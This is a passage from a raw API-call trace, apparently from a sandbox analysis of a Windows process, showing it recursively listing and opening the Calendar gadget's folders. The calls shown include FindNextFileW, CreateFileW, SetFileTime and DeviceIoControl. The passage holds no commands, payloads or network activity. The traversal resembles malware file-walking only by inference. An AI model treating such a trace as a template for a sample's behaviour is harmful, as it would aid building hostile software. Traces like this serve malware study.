(HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0089.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1316978 [0089.820] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0089.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c2188 [0089.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1316a80 [0089.821] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0089.821] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a37f89, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0089.821] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0089.821] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0089.821] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0089.821] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0089.822] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0089.822] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0089.822] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c21a8 [0089.822] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1316b88 [0089.822] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0089.822] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a37f89, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0089.822] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a37f89, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0089.823] GetLastError () returned 0x12 [0089.823] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0089.823] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0089.823] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a11cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.823] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4a9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar.html", cAlternateFileName="")) returned 1 [0089.823] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a37f89, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0089.823] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1316c90 [0089.823] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\css"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a37f89, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.824] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0089.824] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0089.824] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1333560 [0089.825] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1333560, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1333560, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0089.825] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1333560) returned 1 [0089.825] NtClose (Handle=0x180) returned 0x0 [0089.825] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1316c90) returned 1 [0089.825] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0089.825] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0089.826] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1316c90 [0089.826] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0089.826] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1316d98 [0089.826] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e91c0 [0089.826] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a37f89, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.826] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x12f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar.css", cAlternateFileName="")) returned 1 [0089.826] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0089.827] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0089.827] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0089.827] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0089.827] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0089.828] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1316ea0 [0089.828] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0089.828] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c21c8 [0089.828] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1316fa8 [0089.828] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8f00) returned 0x12f2380 [0089.829] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x12f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar.css", cAlternateFileName="")) returned 0 [0089.829] GetLastError () returned 0x12 [0089.829] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f40 [0089.829] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0089.829] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a37f89, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.829] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x12f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar.css", cAlternateFileName="")) returned 1 [0089.829] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x12f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar.css", cAlternateFileName="")) returned 0 [0089.829] GetLastError () returned 0x12 [0089.829] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1316d98) returned 1 [0089.830] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0089.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1316ea0) returned 1 [0089.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1316c90) returned 1 [0089.830] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0089.830] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a37f89, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0089.830] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1316c90 [0089.830] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\js"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a37f89, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.831] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0089.831] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0089.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0089.831] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0089.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0089.832] NtClose (Handle=0x15c) returned 0x0 [0089.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1316c90) returned 1 [0089.832] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0089.832] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0089.832] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1316c90 [0089.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0089.833] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1316ea0 [0089.833] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f40 [0089.833] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a37f89, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.833] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xff08, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar.js", cAlternateFileName="")) returned 1 [0089.833] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0089.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0089.833] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0089.834] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0089.834] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0089.834] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1316d98 [0089.835] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0089.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c21e8 [0089.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13170b0 [0089.835] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0089.835] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xff08, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar.js", cAlternateFileName="")) returned 0 [0089.835] GetLastError () returned 0x12 [0089.835] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e91c0 [0089.835] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0089.835] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a37f89, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.835] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xff08, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar.js", cAlternateFileName="")) returned 1 [0089.835] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xff08, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar.js", cAlternateFileName="")) returned 0 [0089.835] GetLastError () returned 0x12 [0089.836] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1316ea0) returned 1 [0089.836] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0089.836] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1316d98) returned 1 [0089.836] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1316c90) returned 1 [0089.836] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a37f89, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0089.836] GetLastError () returned 0x12 [0089.837] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1316870) returned 1 [0089.837] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0089.837] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1316978) returned 1 [0089.837] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1316768) returned 1 [0089.837] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3743abc, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xb3743abc, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xb3769c1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd13, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0089.837] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8191f35e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8191f35e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0089.837] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1316768 [0089.837] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\calendar.gadget\\images"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8191f35e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8191f35e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.838] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\calendar.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0089.838] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0089.838] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0089.838] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0089.838] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0089.839] NtClose (Handle=0x168) returned 0x0 [0089.839] RtlFreeHeap 